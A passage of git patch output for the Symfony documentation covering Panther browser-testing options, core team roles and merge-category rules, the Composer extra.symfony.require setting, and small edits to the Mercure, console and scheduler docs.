component </http_client>`. It is fast and can browse any webpage, not only the ones of the application under test. However, HttpBrowser doesn't support JavaScript and other advanced features because it is entirely written in PHP. This one can be used in any PHP application. -Because all clients implement the exact same API, you can switch from one to +Because all clients implement the same API, you can switch from one to another just by calling the appropriate factory method, resulting in a good trade-off for every single test case: if JavaScript is needed or not, if an authentication against an external SSO has to be done, etc. @@ -355,10 +355,10 @@ Testing Real-Time Applications ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Panther provides a convenient way to test applications with real-time -capabilities which use `Mercure`_, `WebSocket`_ and similar technologies. +capabilities that use `Mercure`_, `WebSocket`_ and similar technologies. The ``PantherTestCase::createAdditionalPantherClient()`` method can create -additional, isolated browsers which can interact with other ones. For instance, +additional, isolated browsers that can interact with other ones. For instance, this can be useful to test a chat application having several users connected simultaneously:: @@ -451,6 +451,22 @@ To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``: # .env.test PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050' +Using Selenium With the Built-In Web Server +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to use `Selenium Grid`_ with the built-in web server, you need to +configure the Panther client as follows:: + + $client = Client::createPantherClient( + options: [ + 'browser' => PantherTestCase::SELENIUM, + ], + managerOptions: [ + 'host' => 'http://selenium-hub:4444', // the host of the Selenium Server (Grid) + 'capabilities' => DesiredCapabilities::firefox(), // the capabilities of the browser + ], + ); + Accepting Self-Signed SSL Certificates ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -597,6 +613,13 @@ behavior: Toggle the browser's dev tools (default ``enabled``, useful to debug) ``PANTHER_ERROR_SCREENSHOT_ATTACH`` Add screenshots mentioned above to test output in junit attachment format +``PANTHER_NO_REDUCED_MOTION`` + Disable non-essential movement in the browser (e.g. animations) + +.. versionadded:: 2.2.0 + + The support for the ``PANTHER_NO_REDUCED_MOTION`` env var was added + in Panther 2.2.0. Chrome Specific Environment Variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -604,7 +627,8 @@ Chrome Specific Environment Variables ``PANTHER_NO_SANDBOX`` Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers) ``PANTHER_CHROME_ARGUMENTS`` - Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize + Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to ``1`` + to fully customize ``PANTHER_CHROME_BINARY`` To use another ``google-chrome`` binary @@ -616,12 +640,33 @@ Firefox Specific Environment Variables ``PANTHER_FIREFOX_BINARY`` To use another ``firefox`` binary +Changing the Size of the Browser Window +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It's possible to control the size of the browser window. This also controls the +size of the screenshots. + +This is how you would do it with Chrome:: + + $client = Client::createChromeClient(null, ['--window-size=1500,4000']); + +You can achieve the same thing by setting the ``PANTHER_CHROME_ARGUMENTS`` env +var to ``--window-size=1500,4000``. + +On Firefox, here is how you would do it:: + + use Facebook\WebDriver\WebDriverDimension; + + $client = Client::createFirefoxClient(); + $size = new WebDriverDimension(1500, 4000); + $client->manage()->window()->setSize($size); + .. _panther_interactive-mode: Interactive Mode ---------------- -Panther can make a pause in your tests suites after a failure. +Panther can make a pause in your test suites after a failure. Thanks to this break time, you can investigate the encountered problem through the web browser. To enable this mode, you need the ``--debug`` PHPUnit option without the headless mode: @@ -709,7 +754,7 @@ Here is a minimal ``.travis.yaml`` file to run Panther tests: language: php addons: - # If you don't use Chrome, or Firefox, remove the corresponding line + # If you don't use Chrome or Firefox, remove the corresponding line chrome: stable firefox: latest @@ -788,7 +833,7 @@ The following features are not currently supported: * Updating existing documents (browsers are mostly used to consume data, not to create webpages) * Setting form values using the multidimensional PHP array syntax * Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally) -* Selecting invalid choices in select +* Selecting invalid choices in the select Also, there is a known issue if you are using Bootstrap 5. It implements a scrolling effect which tends to mislead Panther. To fix this, we advise you to @@ -875,3 +920,4 @@ documentation: .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle .. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php .. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing +.. _`Selenium Grid`: https://www.selenium.dev/documentation/grid/ From a9a37f5f07dc98e05907d4aa61beb6a7ececaba2 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 13 Jan 2025 09:11:08 +0100 Subject: [PATCH 590/615] [Frontend] Update a table to make it more readable --- frontend/create_ux_bundle.rst | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst index 8faf0f44bb1..8f44a16f62e 100644 --- a/frontend/create_ux_bundle.rst +++ b/frontend/create_ux_bundle.rst @@ -142,21 +142,22 @@ Twig ``stimulus_*`` functions. Each controller has a number of options in ``package.json`` file: -================== ==================================================================================================== -Option Description -================== ==================================================================================================== -enabled Whether the controller should be enabled by default. -main Path to the controller file. -fetch How controller & dependencies are included when the page loads. - Use ``eager`` (default) to make controller & dependencies included in the JavaScript that's - downloaded when the page is loaded. - Use ``lazy`` to make controller & dependencies isolated into a separate file and only downloaded - asynchronously if (and when) the data-controller HTML appears on the page. -autoimport List of files to be imported with the controller. Useful e.g. when there are several CSS styles - depending on the frontend framework used (like Bootstrap 4 or 5, Tailwind CSS...). - The value must be an object with files as keys, and a boolean as value for each file to set - whether the file should be imported. -================== ==================================================================================================== +``enabled``: + Whether the controller should be enabled by default. +``main``: + Path to the controller file. +``fetch``: + How controller & dependencies are included when the page loads. + Use ``eager`` (default) to make controller & dependencies included in the + JavaScript that's downloaded when the page is loaded. + Use ``lazy`` to make controller & dependencies isolated into a separate file + and only downloaded asynchronously if (and when) the data-controller HTML + appears on the page. +``autoimport``: + List of files to be imported with the controller. Useful e.g. when there are + several CSS styles depending on the frontend framework used (like Bootstrap 4 + or 5, Tailwind CSS...). The value must be an object with files as keys, and + a boolean as value for each file to set whether the file should be imported. Specifics for Asset Mapper -------------------------- From 29da96e9cf7b18c6d1933fb96278dd87b47f484c Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Mon, 13 Jan 2025 15:28:42 +0100 Subject: [PATCH 591/615] Add the Symfony UX Core Team --- contributing/code/core_team.rst | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index efc60894c7c..242f471947a 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -71,6 +71,14 @@ Active Core Members * **Fabien Potencier** (`fabpot`_); * **Jérémy Derussé** (`jderusse`_). +* **Symfony UX** (``@symfony/ux`` on GitHub): + + * **Ryan Weaver** (`weaverryan`_); + * **Kevin Bond** (`kbond`_); + * **Simon Andre** (`smnandre`_); + * **Hugo Alliaume** (`kocal`_); + * **Matheo Daninos** (`webmamba`_). + * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub): * **Fabien Potencier** (`fabpot`_); @@ -211,3 +219,6 @@ discretion of the **Project Leader**. .. _`welcomattic`: https://github.com/welcomattic/ .. _`kbond`: https://github.com/kbond/ .. _`gromnan`: https://github.com/gromnan/ +.. _`smnandre`: https://github.com/smnandre/ +.. _`kocal`: https://github.com/kocal/ +.. _`webmamba`: https://github.com/webmamba/ From 4bb344dba9ebbaf8686d65f8303e48237663d05a Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Mon, 13 Jan 2025 16:24:57 +0100 Subject: [PATCH 592/615] Fix typo --- contributing/code/core_team.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 242f471947a..3a2ed9091f9 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -75,7 +75,7 @@ Active Core Members * **Ryan Weaver** (`weaverryan`_); * **Kevin Bond** (`kbond`_); - * **Simon Andre** (`smnandre`_); + * **Simon André** (`smnandre`_); * **Hugo Alliaume** (`kocal`_); * **Matheo Daninos** (`webmamba`_). From bcbf6f62d5bcc1119d89f5caccf75c73f5b68cf7 Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Mon, 13 Jan 2025 16:25:18 +0100 Subject: [PATCH 593/615] [#20566] Add UX team description --- contributing/code/core_team.rst | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 242f471947a..41e9a6cc3e3 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -34,7 +34,9 @@ The Symfony Core groups, in descending order of priority, are as follows: In addition, there are other groups created to manage specific topics: * **Security Team**: manages the whole security process (triaging reported vulnerabilities, - fixing the reported issues, coordinating the release of security fixes, etc.) + fixing the reported issues, coordinating the release of security fixes, etc.); + +* **Symfony UX Team**: manages the `UX repositories`_; * **Documentation Team**: manages the whole `symfony-docs repository`_. @@ -71,7 +73,7 @@ Active Core Members * **Fabien Potencier** (`fabpot`_); * **Jérémy Derussé** (`jderusse`_). -* **Symfony UX** (``@symfony/ux`` on GitHub): +* **Symfony UX Team** (``@symfony/ux`` on GitHub): * **Ryan Weaver** (`weaverryan`_); * **Kevin Bond** (`kbond`_); @@ -188,6 +190,7 @@ discretion of the **Project Leader**. violations, and minor CSS, JavaScript and HTML modifications. .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs +.. _`UX repositories`: https://github.com/symfony/ux .. _`fabpot`: https://github.com/fabpot/ .. _`webmozart`: https://github.com/webmozart/ .. _`Tobion`: https://github.com/Tobion/ From a3f48853be1f5f17fd7126581600b8ebfc1e338a Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Mon, 13 Jan 2025 16:25:18 +0100 Subject: [PATCH 594/615] [#20566] Add UX team description --- contributing/code/core_team.rst | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 3a2ed9091f9..b787452c64a 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -34,7 +34,9 @@ The Symfony Core groups, in descending order of priority, are as follows: In addition, there are other groups created to manage specific topics: * **Security Team**: manages the whole security process (triaging reported vulnerabilities, - fixing the reported issues, coordinating the release of security fixes, etc.) + fixing the reported issues, coordinating the release of security fixes, etc.); + +* **Symfony UX Team**: manages the `UX repositories`_; * **Documentation Team**: manages the whole `symfony-docs repository`_. @@ -71,7 +73,7 @@ Active Core Members * **Fabien Potencier** (`fabpot`_); * **Jérémy Derussé** (`jderusse`_). -* **Symfony UX** (``@symfony/ux`` on GitHub): +* **Symfony UX Team** (``@symfony/ux`` on GitHub): * **Ryan Weaver** (`weaverryan`_); * **Kevin Bond** (`kbond`_); @@ -188,6 +190,7 @@ discretion of the **Project Leader**. violations, and minor CSS, JavaScript and HTML modifications. .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs +.. _`UX repositories`: https://github.com/symfony/ux .. _`fabpot`: https://github.com/fabpot/ .. _`webmozart`: https://github.com/webmozart/ .. _`Tobion`: https://github.com/Tobion/ From d5f3dd85b4547ea181cfca71f1cfd6645de9af5d Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Mon, 13 Jan 2025 18:26:05 +0100 Subject: [PATCH 595/615] Add information about being a core member --- contributing/code/core_team.rst | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index b787452c64a..edbbfaf4e77 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -13,6 +13,17 @@ This document states the rules that govern the Symfony core team. These rules are effective upon publication of this document and all Symfony Core members must adhere to said rules and protocol. +Role of a Core Member +--------------------- + +In addition to being a regular contributor, core members are expected to: + + * Review, approve, and merge pull requests; + + * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`; + + * Participate in the Symfony Core Team discussions (on Slack and GitHub). + Core Organization ----------------- From 2423666c17b97c845ee0ba630b6d6dd7c32b650f Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Mon, 13 Jan 2025 18:11:38 +0100 Subject: [PATCH 596/615] Add information about PR merge commit category --- contributing/code/core_team.rst | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index b787452c64a..daf1d1cb868 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -168,8 +168,28 @@ All code must be committed to the repository through pull requests, except for :ref:`minor change <core-team_minor-changes>` which can be committed directly to the repository. -**Mergers** must always use the command-line ``gh`` tool provided by the -**Project Leader** to merge the pull requests. +**Mergers** must always use the command-line ``gh`` tool to merge pull +requests. + +When merging a pull request, the tool asks for a category that should be chosen +following these rules: + +* **Feature**: For new features and deprecations; Pull requests must be merged + in the development branch. + +* **Bug**: Only for bug fixes; We are very conservative when it comes to + merging older, but still maintained, branches. Read the :doc:`maintenance` + document for more information. + +* **Minor**: For everything that does not change the code or when they don't + need to be listed in the CHANGELOG files: typos, Markdown files, test files, + new or missing translations, etc. + +* **Security**: It's the category used for security fixes and should never be + used except by the security team. + +Getting the right category is important as it is used by automated tools to +generate the CHANGELOG files when releasing new versions. Release Policy ~~~~~~~~~~~~~~ From d949cbb989e2235d0dbddbac50cc8d39e95b9198 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 15 Jan 2025 15:07:12 +0100 Subject: [PATCH 597/615] Minor tweak --- contributing/code/core_team.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index daf1d1cb868..61045dfbf5b 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -168,8 +168,8 @@ All code must be committed to the repository through pull requests, except for :ref:`minor change <core-team_minor-changes>` which can be committed directly to the repository. -**Mergers** must always use the command-line ``gh`` tool to merge pull -requests. +**Mergers** must always use the command-line ``gh`` tool provided by the +**Project Leader** to merge pull requests. When merging a pull request, the tool asks for a category that should be chosen following these rules: From c9ad945053958e1da303aa63d69363b8adb0dc77 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 16 Jan 2025 15:49:54 +0100 Subject: [PATCH 598/615] Minor tweaks --- contributing/code/core_team.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index d8c2048e5fd..93ec6031259 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -13,10 +13,10 @@ This document states the rules that govern the Symfony core team. These rules are effective upon publication of this document and all Symfony Core members must adhere to said rules and protocol. -Role of a Core Member ---------------------- +Role of a Core Team Member +-------------------------- -In addition to being a regular contributor, core members are expected to: +In addition to being a regular contributor, core team members are expected to: * Review, approve, and merge pull requests; From 7232f8cf3898a2144bfacb398a665d5596b77d9d Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Sat, 7 Sep 2024 17:23:00 +0200 Subject: [PATCH 599/615] =?UTF-8?q?[Setup]=20feat:=20add=20section=20about?= =?UTF-8?q?=20`composer=20extra.symfony.require=20=E2=80=A6`?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup.rst | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/setup.rst b/setup.rst index 1fc65f23856..fccb15b375d 100644 --- a/setup.rst +++ b/setup.rst @@ -281,6 +281,19 @@ create new projects. If you use Composer, you need to tell the exact version: $ composer create-project symfony/skeleton:"6.4.*" my_project_directory +With an already existing project, you can restrict Symfony packages to one +specific version by :doc:`using Symfony Flex in your project </setup/flex>` +and setting the ``extra.symfony.require`` config: + +.. code-block:: terminal + + $ composer config extra.symfony.require "6.4.*" + +.. warning:: + + Tools like `dependabot`_ may ignore this setting and upgrade the Symfony dependencies, + see this `GitHub issue about dependabot`_. + The Symfony Demo application ---------------------------- @@ -315,6 +328,8 @@ Learn More .. _`Install Composer`: https://getcomposer.org/download/ .. _`install the Symfony CLI`: https://symfony.com/download .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli +.. _`dependabot`: https://docs.github.com/en/code-security/dependabot +.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631 .. _`The Symfony Demo Application`: https://github.com/symfony/demo .. _`Symfony Flex`: https://github.com/symfony/flex .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories From 644ac22454d64fdfa430480ae946756848aaba01 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 16 Jan 2025 16:37:56 +0100 Subject: [PATCH 600/615] Move the new contents --- setup.rst | 15 --------------- setup/upgrade_major.rst | 40 +++++++++++++++++++++++++++++++--------- 2 files changed, 31 insertions(+), 24 deletions(-) diff --git a/setup.rst b/setup.rst index fccb15b375d..1fc65f23856 100644 --- a/setup.rst +++ b/setup.rst @@ -281,19 +281,6 @@ create new projects. If you use Composer, you need to tell the exact version: $ composer create-project symfony/skeleton:"6.4.*" my_project_directory -With an already existing project, you can restrict Symfony packages to one -specific version by :doc:`using Symfony Flex in your project </setup/flex>` -and setting the ``extra.symfony.require`` config: - -.. code-block:: terminal - - $ composer config extra.symfony.require "6.4.*" - -.. warning:: - - Tools like `dependabot`_ may ignore this setting and upgrade the Symfony dependencies, - see this `GitHub issue about dependabot`_. - The Symfony Demo application ---------------------------- @@ -328,8 +315,6 @@ Learn More .. _`Install Composer`: https://getcomposer.org/download/ .. _`install the Symfony CLI`: https://symfony.com/download .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli -.. _`dependabot`: https://docs.github.com/en/code-security/dependabot -.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631 .. _`The Symfony Demo Application`: https://github.com/symfony/demo .. _`Symfony Flex`: https://github.com/symfony/flex .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst index 8c172c49b29..ab05f2b202b 100644 --- a/setup/upgrade_major.rst +++ b/setup/upgrade_major.rst @@ -162,20 +162,40 @@ starting with ``symfony/`` to the new major version: "...": "...", } -At the bottom of your ``composer.json`` file, in the ``extra`` block you can -find a data setting for the Symfony version. Make sure to also upgrade -this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0: +A more efficient way to handle Symfony dependency updates is by setting the +``extra.symfony.require`` configuration option in your ``composer.json`` file. +In Symfony applications using :doc:`Symfony Flex </setup/flex>`, this setting +restricts Symfony packages to a single specific version, improving both +dependency management and Composer update performance: .. code-block:: diff - "extra": { - "symfony": { - "allow-contrib": false, - - "require": "5.4.*" - + "require": "6.0.*" - } + { + "...": "...", + + "require": { + - "symfony/cache": "6.0.*", + + "symfony/cache": "*", + - "symfony/config": "6.0.*", + + "symfony/config": "*", + - "symfony/console": "6.0.*", + + "symfony/console": "*", + "...": "...", + }, + "...": "...", + + + "extra": { + + "symfony": { + + "require": "6.0.*" + + } + + } } +.. warning:: + + Tools like `dependabot`_ may ignore this setting and upgrade Symfony + dependencies. For more details, see this `GitHub issue about dependabot`_. + .. tip:: If a more recent minor version is available (e.g. ``6.4``) you can use that @@ -338,3 +358,5 @@ Classes in the ``vendor/`` directory are always ignored. .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer .. _`Rector`: https://github.com/rectorphp/rector .. _`maintained Symfony versions`: https://symfony.com/releases +.. _`dependabot`: https://docs.github.com/en/code-security/dependabot +.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631 From 3dca32e1cf1838b812d61e04baeade9b2e5b1716 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Fri, 17 Jan 2025 10:45:36 +0100 Subject: [PATCH 601/615] [Mercure] Adding hint for multiple topics Page: https://symfony.com/doc/6.4/mercure.html#subscribing Closes https://github.com/symfony/symfony-docs/issues/20574 Closes https://github.com/symfony/mercure-bundle/issues/71 Closes https://github.com/symfony/mercure-bundle/issues/82 Info is taken from https://github.com/symfony/symfony-docs/issues/20574#issuecomment-2597102678 --- mercure.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/mercure.rst b/mercure.rst index f37c40ddee7..698de373a17 100644 --- a/mercure.rst +++ b/mercure.rst @@ -309,6 +309,11 @@ as patterns: } </script> +However, on the client side (i.e. in JavaScript's ``EventSource``), there is no built-in way +to see which topic a certain message is coming from. So if this (or any other meta information) +is important to you, you need to include it in the message's data (e.g. by adding a key to the +JSON, or a `data-*` attribute to the HTML). + .. tip:: Test if a URI Template matches a URL using `the online debugger`_ From b9e2005cc3e1d1fde6d2f97382a6d37bac14bc8a Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Sat, 18 Jan 2025 13:19:11 +0100 Subject: [PATCH 602/615] [Console] Adding associative array Page: https://symfony.com/doc/6.4/components/console/helpers/questionhelper.html#let-the-user-choose-from-a-list-of-answers --- components/console/helpers/questionhelper.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst index 2670ec3084a..e8c2d40a470 100644 --- a/components/console/helpers/questionhelper.rst +++ b/components/console/helpers/questionhelper.rst @@ -128,7 +128,7 @@ but ``red`` could be set instead (could be more explicit):: $question = new ChoiceQuestion( 'Please select your favorite color (defaults to red)', // choices can also be PHP objects that implement __toString() method - ['red', 'blue', 'yellow'], + ['red', 'blue', 'yellow'], // pass an associative array to display custom indices: [3 => 'red', 7 => 'blue'] 0 ); $question->setErrorMessage('Color %s is invalid.'); From 64bd096d735360895a1c0ea9dc97612e73d1e40e Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Sat, 18 Jan 2025 13:37:23 +0100 Subject: [PATCH 603/615] [Console]: Minor: Removing duplication Page: https://symfony.com/doc/6.4/console/calling_commands.html --- console/calling_commands.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/console/calling_commands.rst b/console/calling_commands.rst index 349f1357682..dd1f0b12ff9 100644 --- a/console/calling_commands.rst +++ b/console/calling_commands.rst @@ -1,9 +1,9 @@ How to Call Other Commands ========================== -If a command depends on another one being run before it you can call in the -console command itself. This is useful if a command depends on another command -or if you want to create a "meta" command that runs a bunch of other commands +If a command depends on another one being run before it you can call that in the +console command itself. This can be useful +if you want to create a "meta" command that runs a bunch of other commands (for instance, all commands that need to be run when the project's code has changed on the production servers: clearing the cache, generating Doctrine proxies, dumping web assets, ...). From 6301562c49f02e2a15b253dd007aa55ad0c336cc Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 20 Jan 2025 12:02:52 +0100 Subject: [PATCH 604/615] Remove some unnecessary blank lines in some lists --- contributing/code/core_team.rst | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 93ec6031259..5f41ec0b4cf 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -18,11 +18,9 @@ Role of a Core Team Member In addition to being a regular contributor, core team members are expected to: - * Review, approve, and merge pull requests; - - * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`; - - * Participate in the Symfony Core Team discussions (on Slack and GitHub). +* Review, approve, and merge pull requests; +* Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`; +* Participate in the Symfony Core Team discussions (on Slack and GitHub). Core Organization ----------------- @@ -46,9 +44,7 @@ In addition, there are other groups created to manage specific topics: * **Security Team**: manages the whole security process (triaging reported vulnerabilities, fixing the reported issues, coordinating the release of security fixes, etc.); - * **Symfony UX Team**: manages the `UX repositories`_; - * **Documentation Team**: manages the whole `symfony-docs repository`_. Active Core Members @@ -152,7 +148,6 @@ Pull Request Voting Policy * Core members can change their votes as many times as they desire during the course of a pull request discussion; - * Core members are not allowed to vote on their own pull requests. Pull Request Merging Policy @@ -161,13 +156,10 @@ Pull Request Merging Policy A pull request **can be merged** if: * It is a :ref:`minor change <core-team_minor-changes>`; - * Enough time was given for peer reviews; - * It is a bug fix and at least two **Mergers Team** members voted ``+1`` (only one if the submitter is part of the Mergers team) and no Core member voted ``-1`` (via GitHub reviews or as comments). - * It is a new feature and at least two **Mergers Team** members voted ``+1`` (if the submitter is part of the Mergers team, two *other* members) and no Core member voted ``-1`` (via GitHub reviews or as comments). @@ -187,15 +179,12 @@ following these rules: * **Feature**: For new features and deprecations; Pull requests must be merged in the development branch. - * **Bug**: Only for bug fixes; We are very conservative when it comes to merging older, but still maintained, branches. Read the :doc:`maintenance` document for more information. - * **Minor**: For everything that does not change the code or when they don't need to be listed in the CHANGELOG files: typos, Markdown files, test files, new or missing translations, etc. - * **Security**: It's the category used for security fixes and should never be used except by the security team. From e5e62c487425a84bafe41b424ddf51601bae9d21 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 21 Jan 2025 09:12:14 +0100 Subject: [PATCH 605/615] Minor tweaks --- mercure.rst | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/mercure.rst b/mercure.rst index 698de373a17..42ad9798d3c 100644 --- a/mercure.rst +++ b/mercure.rst @@ -309,10 +309,11 @@ as patterns: } </script> -However, on the client side (i.e. in JavaScript's ``EventSource``), there is no built-in way -to see which topic a certain message is coming from. So if this (or any other meta information) -is important to you, you need to include it in the message's data (e.g. by adding a key to the -JSON, or a `data-*` attribute to the HTML). +However, on the client side (i.e. in JavaScript's ``EventSource``), there is no +built-in way to know which topic a certain message originates from. If this (or +any other meta information) is important to you, you need to include it in the +message's data (e.g. by adding a key to the JSON, or a ``data-*`` attribute to +the HTML). .. tip:: From 53b7a44f7afabbe9b9502cb48ff1971d776689f9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 21 Jan 2025 09:52:45 +0100 Subject: [PATCH 606/615] Reword --- components/console/helpers/questionhelper.rst | 24 ++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst index e8c2d40a470..3dc97d5c0d3 100644 --- a/components/console/helpers/questionhelper.rst +++ b/components/console/helpers/questionhelper.rst @@ -128,7 +128,7 @@ but ``red`` could be set instead (could be more explicit):: $question = new ChoiceQuestion( 'Please select your favorite color (defaults to red)', // choices can also be PHP objects that implement __toString() method - ['red', 'blue', 'yellow'], // pass an associative array to display custom indices: [3 => 'red', 7 => 'blue'] + ['red', 'blue', 'yellow'], 0 ); $question->setErrorMessage('Color %s is invalid.'); @@ -145,6 +145,28 @@ The option which should be selected by default is provided with the third argument of the constructor. The default is ``null``, which means that no option is the default one. +Choice questions display both the choice value and a numeric index, which starts +from 0 by default. The user can type either the numeric index or the choice value +to make a selection: + +.. code-block:: terminal + + Please select your favorite color (defaults to red): + [0] red + [1] blue + [2] yellow + > + +.. tip:: + + To use custom indices, pass an array with custom numeric keys as the choice + values:: + + new ChoiceQuestion('Select a room:', [ + 102 => 'Room Foo', + 213 => 'Room Bar', + ]); + If the user enters an invalid string, an error message is shown and the user is asked to provide the answer another time, until they enter a valid string or reach the maximum number of attempts. The default value for the maximum number From 35df8ae759bf455557cb9f9b530c02231cc8ced1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 22 Jan 2025 09:23:07 +0100 Subject: [PATCH 607/615] Reword --- scheduler.rst | 30 ++++++------------------------ 1 file changed, 6 insertions(+), 24 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index 6cebb354137..5bac82d98ae 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -473,19 +473,10 @@ The attribute takes more parameters to customize the trigger:: // defines the timezone to use #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')] -Arguments/options for Symfony commands are passed as plain string:: - - use Symfony\Component\Console\Command\Command; - - #[AsCronTask('0 0 * * *', arguments: 'arg --my-option')] + // when applying this attribute to a Symfony console command, you can pass + // arguments and options to the command using the 'arguments' option: + #[AsCronTask('0 0 * * *', arguments: 'some_argument --some-option --another-option=some_value')] class MyCommand extends Command - { - protected function configure(): void - { - $this->addArgument('my-arg'); - $this->addOption('my-option'); - } - } .. versionadded:: 6.4 @@ -536,19 +527,10 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg } } -Arguments/options for Symfony commands are passed as plain string:: - - use Symfony\Component\Console\Command\Command; - - #[AsPeriodicTask(frequency: '1 day', arguments: 'arg --my-option')] + // when applying this attribute to a Symfony console command, you can pass + // arguments and options to the command using the 'arguments' option: + #[AsPeriodicTask(frequency: '1 day', arguments: 'some_argument --some-option --another-option=some_value')] class MyCommand extends Command - { - protected function configure(): void - { - $this->addArgument('my-arg'); - $this->addOption('my-option'); - } - } .. versionadded:: 6.4 From 833e338690d7250e983a89198d9e8e393f41d516 Mon Sep 17 00:00:00 2001 From: Thomas Calvet <calvet.thomas@gmail.com> Date: Wed, 22 Jan 2025 09:25:10 +0100 Subject: 